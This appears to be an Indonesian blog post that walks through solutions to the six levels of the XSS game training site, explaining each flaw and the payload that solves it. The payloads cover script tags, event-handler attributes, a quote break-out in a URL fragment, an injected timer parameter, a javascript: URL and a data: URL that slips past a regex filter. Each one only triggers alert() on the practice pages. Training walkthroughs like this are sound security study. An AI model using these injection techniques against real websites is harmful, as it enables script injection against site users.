pada kali ini saya akan memberikan solusi untuk xss game
Level 1 (hello, world of xss)
di level 1 akan disuguhkan halaman pencarian yang dimana masukkan dari pengguna akan langsung di tampilkan pada halaman untuk mengeksekusi nya langsung aja masukkan paylod xss nya untuk menghasilkan alert().
payload:
<script>alert("123")</script>
Level 2 (presistence is key)
di level 2 ini akan di suguhkan web aplikasi yang menyimpan data di sisi server dan menampilkan pada penggunanya untuk mengeksekusi nya langsung aja masukkan paylod xss nya untuk menghasilkan alert().
payload:
<script>alert("123")</script> (tidak dapat digunakan)
karena payload yang digunakan pada level 1 tidak dapat digunakan saya terpikirkan untuk menggunakan hyperlink
payload:
<a href='x' onclick='alert(123)'>hai</a>
Level 3 (That shinking feeling)
di level 3 ini diharap kan untuk membaca kode nya, klik toggle untuk melihat kode dari index.html:
function chooseTab(num) {
// Dynamically load the appropriate image.
var html = "Image " + parseInt(num) + "<br>";
html += "<img src='/static/level3/cloud" + num + ".jpg' />";
$('#tabContent').html(html);
seperti yang di lihat parameter num di gunakan untuk menghasilkan tag img, untuk memecahnya gunakan tanda kutip dan masukan beberapa kode javascript di alamat url untuk menghasilkan alert().
payload:
https://xss-game.appspot.com/level3/frame#1' onclick='alert(123)';
Level 4 (Context matters)
pada level 4 ini coba masukkan angka 1 pada kolom lalu create timer, lihat alamat url dan hasil yang di tampilkan.
url:
https://xss-game.appspot.com/level4/frame?timer=1
apabila di biar-kan maka akan memunculkan times up, lalu coba tambahkan tanda petik di belakang angka 1 yang ada di url, lihat hasil yang ditampilkan dan badingkan dengan sebelumnya.
url:
https://xss-game.appspot.com/level4/frame?timer=1'
apabila dibiarkan maka loading dari timernya akan berjalan terus tanpa memunculkan times up seperti sebelumnya, untuk final request nya tambahkan )%3Balert(123)%3B(' di belakang angka 1' yang ada di url lalu lihat hasilnya.
url:
https://xss-game.appspot.com/level4/frame?timer=1')%3Balert(123)%3B('
Level 5 (Breaking protocol)
<
script
>
setTimeout(function() { window.location = '{{ next }}'; }, 5000);
</
script
>
jadi window.location nya diatur berdasarkan parameter next, selain itu ada juga di signup.html:
<
br
><
br
>
<
a
href
=
"{{ next }}"
>Next >></
a
>
untuk menghasil kan alert() silahkan masukkan payloadnya di ?next=javascript:alert(123)
https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(123)
Level 6
pada level 6 ini tidak diizinkan memiliki URL yang berisi https ?:
if (url.match(/^https?:\/\//)) {
setInnerText(document.getElementById("log"),
"Sorry, cannot load a URL containing \"http\".");
return
Setelah itu teks yang telah dihash digunakan sebagai skrip src :
// Load this awesome gadget
scriptEl.src = url;
lalu untuk menghindarinya saya menggunakan data:javascript,alert("123"); sebagai data yang di load
url:
https://xss-game.appspot.com/level6/frame#data:javascript,alert("123");
No comments:
Post a Comment